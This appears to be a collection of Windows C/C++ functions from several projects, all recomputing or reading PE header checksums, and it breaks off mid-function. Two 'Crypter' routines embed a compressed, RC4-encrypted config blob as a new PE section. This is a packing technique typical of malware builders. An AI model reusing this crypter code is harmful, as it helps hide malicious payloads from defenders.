BOOL UtiSetFileDllFlag(LPCSTR lpPath) { BOOL bRet = FALSE; DWORD dwSize; PVOID pMap; PIMAGE_NT_HEADERS pNtHeader; DWORD HeaderSum, CheckSum; pMap = UtiMapFile(lpPath, GENERIC_WRITE|GENERIC_READ, FILE_FLAG_WRITE_THROUGH, PAGE_READWRITE, FILE_MAP_WRITE|FILE_MAP_READ, &dwSize); if (pMap) { pNtHeader = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pMap); if (pNtHeader) { pNtHeader->FileHeader.Characteristics |= IMAGE_FILE_DLL; bRet = (BOOL)CheckSumMappedFile(pMap, dwSize, &HeaderSum, &CheckSum); if (bRet) pNtHeader->OptionalHeader.CheckSum = CheckSum; } FlushViewOfFile(pMap, dwSize); UnmapViewOfFile(pMap); } return bRet; }
DWORD ConnectionLimit::ComputeCheckSum(LPCTSTR path) { DWORD dwHeaderSum; DWORD dwCheckSum; PVOID oldValue = NULL; if(IsWow64()) { MyWow64DisableWow64FsRedirection(&oldValue); } HANDLE hFile=CreateFile(path,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if(IsWow64()) { MyWow64RevertWow64FsRedirection(oldValue); } if(hFile==INVALID_HANDLE_VALUE) { return 0; } HANDLE mapping = CreateFileMapping(hFile,0,PAGE_READWRITE,0,0,NULL); if(!mapping) { CloseHandle(hFile); return 0; } unsigned char* pView=(unsigned char *)MapViewOfFile(mapping,FILE_MAP_ALL_ACCESS,0,0,0); if(!pView) { CloseHandle(mapping); CloseHandle(hFile); return 0; } DWORD nFileSize=GetFileSize(hFile,NULL); PIMAGE_NT_HEADERS pHeader=CheckSumMappedFile((LPVOID)pView,nFileSize,&dwHeaderSum,&dwCheckSum); pHeader->OptionalHeader.CheckSum=dwCheckSum; pHeader=CheckSumMappedFile((LPVOID)pView,nFileSize,&dwHeaderSum,&dwCheckSum); UnmapViewOfFile((LPCVOID)pView); CloseHandle(mapping); CloseHandle(hFile); return dwCheckSum; }
bool PeParser::updatePeHeaderChecksum(const WCHAR * targetFile, DWORD fileSize) { PIMAGE_NT_HEADERS32 pNTHeader32 = 0; PIMAGE_NT_HEADERS64 pNTHeader64 = 0; DWORD headerSum = 0; DWORD checkSum = 0; bool retValue = false; if (!fileSize) return retValue; HANDLE hFileToMap = CreateFile(targetFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if(hFileToMap != INVALID_HANDLE_VALUE) { HANDLE hMappedFile = CreateFileMapping(hFileToMap, 0, PAGE_READWRITE, 0, 0, 0); if(hMappedFile) { if (GetLastError() != ERROR_ALREADY_EXISTS) { LPVOID addrMappedDll = MapViewOfFile(hMappedFile, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (addrMappedDll) { pNTHeader32 = (PIMAGE_NT_HEADERS32)CheckSumMappedFile(addrMappedDll, fileSize, &headerSum, &checkSum); if (pNTHeader32) { if (pNTHeader32->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { pNTHeader64 = (PIMAGE_NT_HEADERS64)pNTHeader32; pNTHeader64->OptionalHeader.CheckSum = checkSum; } else { pNTHeader32->OptionalHeader.CheckSum = checkSum; } retValue = true; } UnmapViewOfFile(addrMappedDll); } } CloseHandle(hMappedFile); } CloseHandle(hFileToMap); } return retValue; }
BOOL Crypter::insertSectionConfigInPE(PVOID pvPEBase,DWORD dwPESize,PVOID pvData,DWORD dwDataSize,PVOID *ppvNewPE,DWORD *pdwNewPESize){ BOOL bRet = FALSE; PIMAGE_SECTION_HEADER pNewSection; DWORD dwSize; if (pNewSection = Crypter::insertSectionHeader( pvPEBase, Crypter::section, dwDataSize, IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ,&dwSize)){ PVOID pvNewPE; DWORD dwNewPESize = pNewSection->PointerToRawData + pNewSection->SizeOfRawData; if (pvNewPE = malloc(dwNewPESize)){ memcpy(pvNewPE, pvPEBase, dwPESize); PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvNewPE); ++(pNtHeaders->FileHeader.NumberOfSections); PIMAGE_SECTION_HEADER pVirtualLastSection = Crypter::getVirtualyLastSectionHeader(pNtHeaders); pVirtualLastSection[0] = *pNewSection; pNtHeaders->OptionalHeader.SizeOfImage += dwSize; memcpy((PVOID)((DWORD)pvNewPE + pNewSection->PointerToRawData),pvData,dwDataSize); DWORD dwHeaderSum, dwCheckSum; if (CheckSumMappedFile(pvNewPE,dwNewPESize,&dwHeaderSum,&dwCheckSum)){ pNtHeaders->OptionalHeader.CheckSum = dwCheckSum; *ppvNewPE = pvNewPE; *pdwNewPESize = dwNewPESize; bRet = TRUE; } if (!bRet) free(pvNewPE); } else { MYPRINTF(" malloc(dwNewPESize)\n"); } free(pNewSection); } else { MYPRINTF("!insertSectionHeader\n"); } return bRet; }
__declspec(dllexport) bool TITCALL FixHeaderCheckSumW(wchar_t* szFileName) { HANDLE FileHandle; DWORD FileSize; HANDLE FileMap; ULONG_PTR FileMapVA; bool retVal = false; if(MapFileExW(szFileName, UE_ACCESS_READ, &FileHandle, &FileSize, &FileMap, &FileMapVA, 0)) { DWORD HeaderSum; DWORD CheckSum; if(CheckSumMappedFile((PVOID)FileMapVA, FileSize, &HeaderSum, &CheckSum)) { retVal = SetPE32DataW(szFileName, NULL, UE_CHECKSUM, (ULONG_PTR)CheckSum); } UnMapFileEx(FileHandle, FileSize, FileMap, FileMapVA); } return retVal; }
void CPECheckSumCalcDlg::OnBnProcessClicked() { // Needs to open a file for reading & writing GetDlgItem(IDC_FILEPATHEDIT)->GetWindowText(m_strFileName); HANDLE hFile = CreateFile(m_strFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return; } DWORD dwFileSize = GetFileSize(hFile, NULL); // the mapping is easiest way to calculate check sum and rewrite it HANDLE hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, NULL); if (hFileMapping == NULL) { CloseHandle(hFile); return; } DWORD dwHdrCheckSum, dwCheckSum; LPVOID pBaseAddr = MapViewOfFile(hFileMapping, FILE_MAP_WRITE, 0, 0, dwFileSize); if (pBaseAddr == NULL) { CloseHandle(hFileMapping); CloseHandle(hFile); return; } PIMAGE_NT_HEADERS pImageNTHdr = CheckSumMappedFile(pBaseAddr, dwFileSize, &dwHdrCheckSum, &dwCheckSum); if (pImageNTHdr == NULL) { UnmapViewOfFile(pBaseAddr); CloseHandle(hFileMapping); CloseHandle(hFile); return; } // Save the control check sum pImageNTHdr->OptionalHeader.CheckSum = dwCheckSum; UnmapViewOfFile(pBaseAddr); CloseHandle(hFileMapping); CloseHandle(hFile); EndDialog(0); }
BOOL EditSymbols( LPSTR pImageName, LPSTR pDbgFileName ) { PIMAGE_NT_HEADERS NtHeaders; HANDLE FileHandle, SymbolFileHandle; HANDLE hMappedFile; LPVOID ImageBase; PIMAGE_DEBUG_DIRECTORY DebugDirectories; PIMAGE_DEBUG_DIRECTORY DebugDirectoriesSave; DWORD DebugDirectorySize, NumberOfDebugDirectories; DWORD SavedErrorCode; PIMAGE_DEBUG_DIRECTORY DebugDirectory; DWORD i; DWORD NewFileSize, HeaderSum, CheckSum; DWORD ImageNameOffset, DebugDataSize; LPBYTE DebugData; IMAGE_SEPARATE_DEBUG_HEADER DbgFileHeader; ImageBase = NULL; hMappedFile = 0; FileHandle = SymbolFileHandle = 0; DebugDirectoriesSave = NULL; // // open and map the file. // FileHandle = CreateFile( pImageName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL ); if (FileHandle == INVALID_HANDLE_VALUE) { return FALSE; } hMappedFile = CreateFileMapping( FileHandle, NULL, PAGE_READWRITE, 0, 0, NULL ); if (!hMappedFile) { CloseHandle( FileHandle ); return FALSE; } ImageBase = MapViewOfFile( hMappedFile, FILE_MAP_WRITE, 0, 0, 0 ); if (!ImageBase) { CloseHandle( hMappedFile ); CloseHandle( FileHandle ); return FALSE; } // // Everything is mapped. Now check the image and find nt image headers // NtHeaders = ImageNtHeader( ImageBase ); if (NtHeaders == NULL) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } if ((NtHeaders->OptionalHeader.MajorLinkerVersion < 3) && (NtHeaders->OptionalHeader.MinorLinkerVersion < 5) ) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } if (!(NtHeaders->FileHeader.Characteristics & IMAGE_FILE_DEBUG_STRIPPED)) { SetLastError( ERROR_ALREADY_ASSIGNED ); goto nosyms; } DebugDirectories = (PIMAGE_DEBUG_DIRECTORY) ImageDirectoryEntryToData( ImageBase, FALSE, IMAGE_DIRECTORY_ENTRY_DEBUG, &DebugDirectorySize ); if (!DebugDirectoryIsUseful(DebugDirectories, DebugDirectorySize)) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } NumberOfDebugDirectories = DebugDirectorySize / sizeof( IMAGE_DEBUG_DIRECTORY ); SymbolFileHandle = CreateFile( pDbgFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL ); if (SymbolFileHandle == INVALID_HANDLE_VALUE) goto nosyms; if (!ReadFile( SymbolFileHandle, &DbgFileHeader, sizeof(DbgFileHeader), &DebugDataSize, NULL) || DebugDataSize != sizeof(DbgFileHeader)) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } if (DbgFileHeader.Signature != IMAGE_SEPARATE_DEBUG_SIGNATURE || (DbgFileHeader.Flags & ~IMAGE_SEPARATE_DEBUG_FLAGS_MASK) != 0 || DbgFileHeader.Machine != NtHeaders->FileHeader.Machine || DbgFileHeader.Characteristics != NtHeaders->FileHeader.Characteristics || DbgFileHeader.TimeDateStamp != NtHeaders->FileHeader.TimeDateStamp || DbgFileHeader.CheckSum != NtHeaders->OptionalHeader.CheckSum || DbgFileHeader.ImageBase != NtHeaders->OptionalHeader.ImageBase || DbgFileHeader.SizeOfImage != NtHeaders->OptionalHeader.SizeOfImage) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } if (DbgFileHeader.Flags & IMAGE_SEPARATE_DEBUG_MISMATCH) { fprintf(stderr, "Warning: %s updated unsafely; symbols may be wrong\n", pDbgFileName); } // check if this is the right dbg file // save the DebugDirectory and get ready to write the // debug data to the image file. DebugDirectoriesSave = (PIMAGE_DEBUG_DIRECTORY) malloc( DebugDirectorySize ); if (DebugDirectoriesSave == NULL) goto nosyms; RtlMoveMemory( DebugDirectoriesSave, DebugDirectories, DebugDirectorySize); DebugDirectory = DebugDirectoriesSave; NewFileSize = SetFilePointer( FileHandle, 0, NULL, FILE_END ); NewFileSize = (NewFileSize + 3) & ~3; for (i=0; i<NumberOfDebugDirectories; i++) { // Is it one of the debug sections we need to special case? if (DebugDirectory->Type == IMAGE_DEBUG_TYPE_MISC) { // fix the mage name ImageNameOffset = (DWORD) ((PCHAR) ImageBase + DebugDirectory->PointerToRawData + FIELD_OFFSET( IMAGE_DEBUG_MISC, Data )); RtlCopyMemory((LPVOID)ImageNameOffset, FilePart, strlen(FilePart) + 1); } else if (DebugDirectory->Type != IMAGE_DEBUG_TYPE_FPO) { DebugData = (LPBYTE) malloc( DebugDirectory->SizeOfData ); if (SetFilePointer( SymbolFileHandle, DebugDirectory->PointerToRawData, NULL, FILE_BEGIN ) != DebugDirectory->PointerToRawData) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } if (ReadFile( SymbolFileHandle, DebugData, DebugDirectory->SizeOfData, &DebugDataSize, NULL) && DebugDataSize == DebugDirectory->SizeOfData) { if (WriteFile( FileHandle, DebugData, DebugDirectory->SizeOfData, &DebugDataSize, NULL) && DebugDataSize == DebugDirectory->SizeOfData) { DebugDirectory->PointerToRawData = NewFileSize; NewFileSize += DebugDataSize; NewFileSize = (NewFileSize + 3) & ~3; } else { SetLastError( ERROR_WRITE_FAULT ); free( DebugData ); goto nosyms; } } else { SetLastError( ERROR_BAD_EXE_FORMAT ); free( DebugData ); goto nosyms; } free( DebugData ); } DebugDirectory += 1; } // somehow I needed to close the file and re-open it again. // otherwise it would AV inside CheckSumMappedFile. UnmapViewOfFile( ImageBase ); CloseHandle( hMappedFile ); ImageBase = NULL; hMappedFile = 0; SetFilePointer( FileHandle, NewFileSize, NULL, FILE_BEGIN ); SetEndOfFile( FileHandle ); CloseHandle( FileHandle ); // // re-open and map the file. // FileHandle = CreateFile( pImageName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL ); hMappedFile = CreateFileMapping( FileHandle, NULL, PAGE_READWRITE, 0, 0, NULL ); if (!hMappedFile) { goto nosyms; } ImageBase = MapViewOfFile( hMappedFile, FILE_MAP_WRITE, 0, 0, 0 ); if (!ImageBase) { goto nosyms; } NtHeaders = ImageNtHeader( ImageBase ); if (NtHeaders == NULL) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } DebugDirectories = (PIMAGE_DEBUG_DIRECTORY) ImageDirectoryEntryToData( ImageBase, FALSE, IMAGE_DIRECTORY_ENTRY_DEBUG, &DebugDirectorySize ); if (DebugDirectories == NULL || DebugDirectorySize == 0) { SetLastError( ERROR_BAD_EXE_FORMAT ); goto nosyms; } RtlMoveMemory( DebugDirectories, DebugDirectoriesSave, DebugDirectorySize); free( DebugDirectoriesSave ); NtHeaders->FileHeader.Characteristics &= ~IMAGE_FILE_DEBUG_STRIPPED; CheckSumMappedFile( ImageBase, NewFileSize, &HeaderSum, &CheckSum ); NtHeaders->OptionalHeader.CheckSum = CheckSum; CloseHandle( SymbolFileHandle ); UnmapViewOfFile( ImageBase ); CloseHandle( hMappedFile ); CloseHandle( FileHandle ); return TRUE; nosyms: SavedErrorCode = GetLastError(); if (DebugDirectoriesSave) free( DebugDirectoriesSave ); if (SymbolFileHandle && SymbolFileHandle != INVALID_HANDLE_VALUE) { CloseHandle( SymbolFileHandle ); } if (ImageBase) UnmapViewOfFile( ImageBase ); if (hMappedFile) CloseHandle( hMappedFile ); if (FileHandle && FileHandle != INVALID_HANDLE_VALUE) { CloseHandle( FileHandle ); } SetLastError( SavedErrorCode ); return FALSE; }
/*********************************************************************** * IMAGEHLP_RecalculateChecksum (INTERNAL) * * Update the NT header checksum for the specified file. */ static BOOL IMAGEHLP_RecalculateChecksum(HANDLE handle) { DWORD FileLength, count, HeaderSum, pe_offset, nt_hdr_size; IMAGE_NT_HEADERS32 nt_hdr32; IMAGE_NT_HEADERS64 nt_hdr64; LPVOID BaseAddress; HANDLE hMapping; DWORD *CheckSum; void *nt_hdr; int ret; BOOL r; TRACE("handle %p\n", handle); ret = IMAGEHLP_GetNTHeaders(handle, &pe_offset, &nt_hdr32, &nt_hdr64); if (ret == HDR_NT32) { CheckSum = &nt_hdr32.OptionalHeader.CheckSum; nt_hdr = &nt_hdr32; nt_hdr_size = sizeof(IMAGE_NT_HEADERS32); } else if (ret == HDR_NT64) { CheckSum = &nt_hdr64.OptionalHeader.CheckSum; nt_hdr = &nt_hdr64; nt_hdr_size = sizeof(IMAGE_NT_HEADERS64); } else return FALSE; hMapping = CreateFileMappingW(handle, NULL, PAGE_READONLY, 0, 0, NULL); if (!hMapping) return FALSE; BaseAddress = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); if (!BaseAddress) { CloseHandle(hMapping); return FALSE; } FileLength = GetFileSize(handle, NULL); *CheckSum = 0; CheckSumMappedFile(BaseAddress, FileLength, &HeaderSum, CheckSum); UnmapViewOfFile(BaseAddress); CloseHandle(hMapping); if (*CheckSum) { /* write the header back again */ count = SetFilePointer(handle, pe_offset, NULL, FILE_BEGIN); if (count == INVALID_SET_FILE_POINTER) return FALSE; count = 0; r = WriteFile(handle, nt_hdr, nt_hdr_size, &count, NULL); if (!r) return FALSE; if (count != nt_hdr_size) return FALSE; return TRUE; } return FALSE; }
/*********************************************************************** * MapFileAndCheckSumW (IMAGEHLP.@) */ DWORD IMAGEAPI MapFileAndCheckSumW( PWSTR Filename, LPDWORD HeaderSum, LPDWORD CheckSum) { HANDLE hFile; HANDLE hMapping; LPVOID BaseAddress; DWORD FileLength; TRACE("(%s, %p, %p): stub\n", debugstr_w(Filename), HeaderSum, CheckSum ); hFile = CreateFileW(Filename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) { return CHECKSUM_OPEN_FAILURE; } hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (hMapping == 0) { CloseHandle(hFile); return CHECKSUM_MAP_FAILURE; } BaseAddress = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); if (BaseAddress == 0) { CloseHandle(hMapping); CloseHandle(hFile); return CHECKSUM_MAPVIEW_FAILURE; } FileLength = GetFileSize(hFile, NULL); CheckSumMappedFile(BaseAddress, FileLength, HeaderSum, CheckSum); UnmapViewOfFile(BaseAddress); CloseHandle(hMapping); CloseHandle(hFile); return 0; }
BOOL InsertSectionConfigInPE(PVOID pvPEBase,DWORD dwPESize,PVOID pvData,DWORD dwDataSize,PVOID *ppvNewPE,DWORD *pdwNewPESize) { BOOL bRet = FALSE; PVOID pvCompressedData; DWORD dwCompressedDataSize; PVOID pvConfigData; DWORD dwConfigDataSize; DWORD dwSeed = GetTickCount(); PIMAGE_SECTION_HEADER pNewSection; DWORD dwSize; if (CompressBuffer(pvData,dwDataSize,&pvCompressedData,&dwCompressedDataSize)) { dwConfigDataSize = dwCompressedDataSize + sizeof(SECTION_CONFIG_HEADER); if (pvConfigData = malloc(dwConfigDataSize)) { PSECTION_CONFIG_HEADER pSecCfgHeader = (PSECTION_CONFIG_HEADER)pvConfigData; pSecCfgHeader->dwDecompressedSize = dwDataSize; pSecCfgHeader->dwCompressedSize = dwCompressedDataSize; for (int i = 0; i < sizeof(pSecCfgHeader->bRc4Key); i++) { pSecCfgHeader->bRc4Key[i] = (BYTE)RtlRandom(&dwSeed); } EncryptRc4(pSecCfgHeader->bRc4Key,sizeof(pSecCfgHeader->bRc4Key),&pSecCfgHeader[1],pvCompressedData,dwCompressedDataSize); if (pNewSection = InsertSectionHeader(pvPEBase,SECTION_CONFIG_NAME,dwConfigDataSize,IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ,&dwSize)) { PVOID pvNewPE; DWORD dwNewPESize = pNewSection->PointerToRawData + pNewSection->SizeOfRawData; if (pvNewPE = malloc(dwNewPESize)) { memcpy(pvNewPE,pvPEBase,dwPESize); PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvNewPE); ++(pNtHeaders->FileHeader.NumberOfSections); PIMAGE_SECTION_HEADER pVirtualLastSection = GetVirtualyLastSectionHeader(pNtHeaders); pVirtualLastSection[0] = *pNewSection; pNtHeaders->OptionalHeader.SizeOfImage += dwSize; memcpy((PVOID)((DWORD)pvNewPE + pNewSection->PointerToRawData),pvConfigData,dwConfigDataSize); DWORD dwHeaderSum, dwCheckSum; if (CheckSumMappedFile(pvNewPE,dwNewPESize,&dwHeaderSum,&dwCheckSum)) { pNtHeaders->OptionalHeader.CheckSum = dwCheckSum; *ppvNewPE = pvNewPE; *pdwNewPESize = dwNewPESize; bRet = TRUE; } if (!bRet) free(pvNewPE); } free(pNewSection); } free(pvConfigData); } free(pvCompressedData); } return bRet; }
//----------------------------------------------------------------------------- // Name: GetChecksum // Object: return the current file checksum stored in NTHeader.OptionalHeader.CheckSum // and the real file checksum // Parameters : // in : // out : // return : FALSE on error //----------------------------------------------------------------------------- BOOL CPEChecksum::GetChecksum(DWORD* pCurrentHeaderCheckSum,DWORD* pRealCheckSum) { HANDLE hFile; HANDLE hFileMapping; LPVOID BaseAddress; if (IsBadWritePtr(pCurrentHeaderCheckSum,sizeof(DWORD)) || IsBadWritePtr(pRealCheckSum,sizeof(DWORD))) return FALSE; // open file hFile = CreateFile(this->pcFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile==INVALID_HANDLE_VALUE) { CAPIError::ShowLastError(); return FALSE; } // create file mapping hFileMapping=CreateFileMapping(hFile,NULL,PAGE_READONLY,0,0,NULL); if (!hFileMapping) { CAPIError::ShowLastError(); CloseHandle(hFile); return FALSE; } // map view of file BaseAddress=MapViewOfFile(hFileMapping,FILE_MAP_READ,0,0,0); if (BaseAddress==NULL) { CAPIError::ShowLastError(); CloseHandle(hFileMapping); CloseHandle(hFile); return FALSE; } // get checksum infos if (!CheckSumMappedFile( BaseAddress, GetFileSize(hFile,NULL), // FileLength pCurrentHeaderCheckSum, // HeaderSum pRealCheckSum // CheckSum ) ) { CAPIError::ShowLastError(); UnmapViewOfFile(BaseAddress); CloseHandle(hFileMapping); CloseHandle(hFile); return FALSE; } // unmap view of file UnmapViewOfFile(BaseAddress); // close file mapping CloseHandle(hFileMapping); // close file CloseHandle(hFile); return TRUE; }
void ConvertImports (char * File) { PIMAGE_IMPORT_DESCRIPTOR ImageImportDescr,DataImportDescr; HANDLE mFile; ULONG ImportSize, ImportName, PreferredImportBase, ImportNameLen, DataImportBase; BOOL BoolError; CHAR *pchDot; LPVOID FileBase=NULL; int iNewImp; ULONG ulBinaryType ; PIMAGE_NT_HEADERS NtHeaders; ULONG CheckSum; ULONG HeaderSum; // Get file attributes // OldAttributes = GetFileAttributes(File); if (OldAttributes != FILE_ATTRIBUTE_NORMAL) { BoolError = SetFileAttributes(File, FILE_ATTRIBUTE_NORMAL); } ulBinaryType = GetImageType ( File ) ; // // Open file // hFile=CreateFile(File, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL); if (hFile==INVALID_HANDLE_VALUE) { #ifdef DEBUG Error = GetLastError(); printf("Error in creating file %lx\n",Error); #endif DoError (FAIL_OPEN, File); return; } // // tomzak // if ( ulBinaryType != NT_CODE ) { DoError (NOT_NT_IMAGE, File); // // Close file handle // BoolError = CloseHandle(hFile); if (!BoolError) { DoError(FAIL_CLOSE,NULL); } return ; } // Create the file map // mFile=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0L,0L,NULL); if (!mFile) { #ifdef DEBUG Error = GetLastError(); printf("Can't make map object %lx\n",Error); #endif DoError(CREATE_MAP,NULL); return; } // Map a view of the file as data // FileBase=MapViewOfFile(mFile, FILE_MAP_READ | FILE_MAP_WRITE, 0L, 0L, 0L); if (!FileBase) { DoError(VIEW_FILE_MAP,NULL); } // Get the address of the import descriptor as if the file was mapped // as data (the FALSE parameter below is the value of the parameter // MappedAsImage). DataImportDescr = (PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData( FileBase, FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ImportSize); // Get the address of the import descriptor as if the file was mapped // as an image (MappedAsImage = TRUE). ImageImportDescr = (PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData( FileBase, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ImportSize); // The preferred import base offset is ImageImportDescr - FileBase // (RVA) // PreferredImportBase = (ULONG)ImageImportDescr-(ULONG)FileBase; // Make sure it is positive; it's a ULONG. // if (PreferredImportBase> MAX_ULONG) { PreferredImportBase = (-(INT)PreferredImportBase); } if (DataImportDescr) { printf("%s imports:\n",File); // Keep the import base around // DataImportBase = (ULONG)DataImportDescr; // Go through the import names and check to see if the name // should be changed by comparing it the the "new import" list // while (DataImportDescr->Name && DataImportDescr->FirstThunk) { // Actual import name address is // (Name - PreferredImportBase) + // ActualImportBase(added below). // // RVA - RVA // ImportName = (DataImportDescr->Name - PreferredImportBase); // Make sure it's positive // if (ImportName > MAX_ULONG) { ImportName = (-(INT)ImportName); } // Add the actual import base // ImportName += DataImportBase; if ( (pchDot = strchr((CHAR *)ImportName, '.')) == NULL ) { ImportNameLen = strlen((CHAR *)ImportName); } else { ImportNameLen = abs((int)((ULONG)pchDot - ImportName)); } printf("\t%-15s",ImportName); for (iNewImp = 0; iNewImp < cNewImports; iNewImp++) { // New imports must match in length and in all chars // except for the first -- i.e. looking for "*mport" to // match "import" // if ((ImportNameLen == strlen(apszNewImports[iNewImp])) && (!_strnicmp((CHAR *)ImportName+1, apszNewImports[iNewImp]+1, ImportNameLen-1))) { strncpy((CHAR *)ImportName, apszNewImports[iNewImp],1); BoolError = FlushViewOfFile((PVOID)ImportName, 1); printf(" --> changed to %s",ImportName); break; } } printf("\n"); // Go to next import descriptor // ++DataImportDescr; } } else { printf("%s has no imports\n",File); printf("Done\n\n\n"); } // // If the file is being update, then recompute the checksum (see sdktools\bind\bind.c) // NtHeaders = RtlImageNtHeader(FileBase); NtHeaders->OptionalHeader.CheckSum = 0; CheckSumMappedFile( FileBase, GetFileSize(hFile, NULL), &HeaderSum, &CheckSum ); NtHeaders->OptionalHeader.CheckSum = CheckSum; // Unmap view of file to save changes // BoolError = UnmapViewOfFile(FileBase); if (!BoolError) { DoError(FAIL_UNMAP,NULL); } // Close handle to map-object // BoolError = CloseHandle(mFile); if (!BoolError) { DoError(FAIL_CLOSE,NULL); } // Close file handle // BoolError = CloseHandle(hFile); if (!BoolError) { DoError(FAIL_CLOSE,NULL); } // Reset the file attributes // BoolError = SetFileAttributes(File, OldAttributes); if (!BoolError) { DoError(FAIL_RESETATTRIBUTES,File); } } /* ConvertImports () */
int _CRTAPI1 main( int argc, char *argv[] ) { HANDLE FileHandle; HANDLE MappingHandle; PIMAGE_NT_HEADERS NtHeaders; PVOID BaseAddress; ULONG CheckSum; ULONG FileLength; ULONG HeaderSum; ULONG OldCheckSum; LPSTR ImageName; BOOLEAN fVerbose = FALSE; BOOLEAN fQuiet = FALSE; LPSTR s; UCHAR c; if (argc <= 1) { Usage(); } while (--argc) { s = *++argv; if ( *s == '-' ) { while (c=*++s) { switch (c) { case 'q': case 'Q': fQuiet = TRUE; break; case 'v': case 'V': fVerbose=TRUE; break; case 'h': case 'H': case '?': Usage(); default: fprintf( stderr, "VERFIX: illegal option /%c\n", c ); Usage(); } } } else { ImageName = s; FileHandle = CreateFile( ImageName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL ); if (FileHandle == INVALID_HANDLE_VALUE) { if (!fQuiet) { fprintf( stderr, "VERFIX: Unable to open %s (%u) - skipping\n", ImageName, GetLastError() ); } } else { } MappingHandle = CreateFileMapping( FileHandle, NULL, PAGE_READWRITE, 0, 0, NULL ); if (MappingHandle == NULL) { CloseHandle( FileHandle ); if (!fQuiet) { fprintf( stderr, "VERFIX: Unable to create mapping object for file %s (%u) - skipping\n", ImageName, GetLastError() ); } } else { BaseAddress = MapViewOfFile( MappingHandle, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0 ); CloseHandle( MappingHandle ); if (BaseAddress == NULL) { CloseHandle( FileHandle ); if (!fQuiet ) { fprintf( stderr, "VERFIX: Unable to map view of file %s (%u) - skipping\n", ImageName, GetLastError() ); } } else { // // Get the length of the file in bytes and compute the checksum. // FileLength = GetFileSize( FileHandle, NULL ); // // Obtain a pointer to the header information. // NtHeaders = ImageNtHeader( BaseAddress ); if (NtHeaders == NULL) { CloseHandle( FileHandle ); UnmapViewOfFile( BaseAddress ); if (!fQuiet) { fprintf( stderr, "VERFIX: %s is not a valid image file - skipping\n", ImageName, GetLastError() ); } } else { // // Recompute and reset the checksum of the modified file. // OldCheckSum = NtHeaders->OptionalHeader.CheckSum; (VOID) CheckSumMappedFile( BaseAddress, FileLength, &HeaderSum, &CheckSum ); NtHeaders->OptionalHeader.CheckSum = CheckSum; if (!FlushViewOfFile( BaseAddress, FileLength )) { if (!fQuiet) { fprintf( stderr, "VERFIX: Flush of %s failed (%u)\n", ImageName, GetLastError() ); } } if (NtHeaders->OptionalHeader.CheckSum != OldCheckSum) { if (!TouchFileTimes( FileHandle, NULL )) { if (!fQuiet) { fprintf( stderr, "VERFIX: Unable to touch file %s (%u)\n", ImageName, GetLastError() ); } } else if (fVerbose) { printf( "%s - Old Checksum: %x", ImageName, OldCheckSum ); printf( " New Checksum: %x\n", NtHeaders->OptionalHeader.CheckSum ); } } UnmapViewOfFile( BaseAddress ); CloseHandle( FileHandle ); } } } } } exit( 0 ); return 0; }
///////////////////////////////////////////////////////////////////////////////////////////////////// // // Zero watermark string From Mui File // // In order to make the procedure simple, so use the simplest method. // BOOL ZeroWatermarkFromMuiFile( LPCTSTR pszFile, // The MUI file name PSINGLE_LIST_ENTRY pStringsHead // Pointer to the string info ) { BOOL bRet = FALSE; HANDLE hFile = NULL; HANDLE hMapping = NULL; PUCHAR pView = NULL; PIMAGE_NT_HEADERS pNTHeader = NULL; PIMAGE_DOS_HEADER pDOSHeader = NULL; DWORD dwHeaderSum = 0; DWORD dwCorrectSum = 0; DWORD dwFileSize = 0; __try { // Open file hFile = CreateFile(pszFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); if (INVALID_HANDLE_VALUE == hFile) __leave; dwFileSize = GetFileSize(hFile, NULL); // Create mapping hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, 0, NULL); if (!hMapping) __leave; // MapView of the PE file pView = (PUCHAR)MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0); if 